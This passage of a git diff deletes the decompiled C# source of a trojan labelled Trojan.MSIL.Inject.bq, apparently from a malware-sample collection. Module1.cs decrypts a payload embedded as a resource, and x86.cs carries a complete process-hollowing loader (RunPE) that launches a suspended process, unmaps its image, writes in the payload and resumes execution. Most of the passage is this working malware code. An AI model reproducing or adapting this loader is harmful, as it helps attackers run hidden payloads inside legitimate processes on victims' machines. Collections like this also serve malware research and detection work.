- ref IntPtr local = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.SetThreadContext(pInfo[1], ctxt); - } - x86.Win32.ResumeThread(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool CreateProcess( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool ReadProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int ResumeThread(IntPtr hThr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool SetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr VirtualAllocEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool VirtualProtectEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool WriteProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/AssemblyInfo.cs deleted file mode 100644 index 6b00be35..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyProduct("Cursor")] -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Module1.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Module1.cs deleted file mode 100644 index 75a81846..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Module1.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - int int32 = BitConverter.ToInt32(numArray, checked (numArray.Length - 4)); - byte[] bytes = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (numArray.Length - 3 + 1)]); - Random random = new Random(int32); - byte[] buffer = new byte[checked (bytes.Length - 1 + 1)]; - random.NextBytes(buffer); - int num = checked (bytes.Length - 1); - int index = 0; - while (index <= num) - { - bytes[index] = (byte) ((int) bytes[index] ^ (int) buffer[index]); - checked { ++index; } - } - x86.RunPE(bytes, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyApplication.cs deleted file mode 100644 index a89d7baf..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyComputer.cs deleted file mode 100644 index 4f6fcd24..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyProject.cs deleted file mode 100644 index 52644050..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettings.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettings.cs deleted file mode 100644 index 994d40c6..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettingsProperty.cs deleted file mode 100644 index 3aeefad7..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/Resources/Resources.cs deleted file mode 100644 index 24a5fa79..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Resources.resx b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.csproj deleted file mode 100644 index 1511410b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {083322AD-6ADE-4DFA-9B4B-4E552D6C5A39} - WinExe - Cursor - 1.0.0.0 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.sln deleted file mode 100644 index 26e14157..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.csproj", "{083322AD-6ADE-4DFA-9B4B-4E552D6C5A39}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {083322AD-6ADE-4DFA-9B4B-4E552D6C5A39}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {083322AD-6ADE-4DFA-9B4B-4E552D6C5A39}.Debug|Any CPU.Build.0 = Debug|Any CPU - {083322AD-6ADE-4DFA-9B4B-4E552D6C5A39}.Release|Any CPU.ActiveCfg = Release|Any CPU - {083322AD-6ADE-4DFA-9B4B-4E552D6C5A39}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/x86.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/x86.cs deleted file mode 100644 index a0c0a727..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.CreateProcess((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.GetThreadContext(pInfo[1], ctxt) && x86.Win32.ReadProcessMemory(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.NtUnmapViewOfSection(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.VirtualAllocEx(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.WriteProcessMemory(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.VirtualProtectEx(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; - ref IntPtr local = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.SetThreadContext(pInfo[1], ctxt); - } - x86.Win32.ResumeThread(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool CreateProcess( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool ReadProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int ResumeThread(IntPtr hThr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool SetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr VirtualAllocEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool VirtualProtectEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool WriteProcessMemory( - 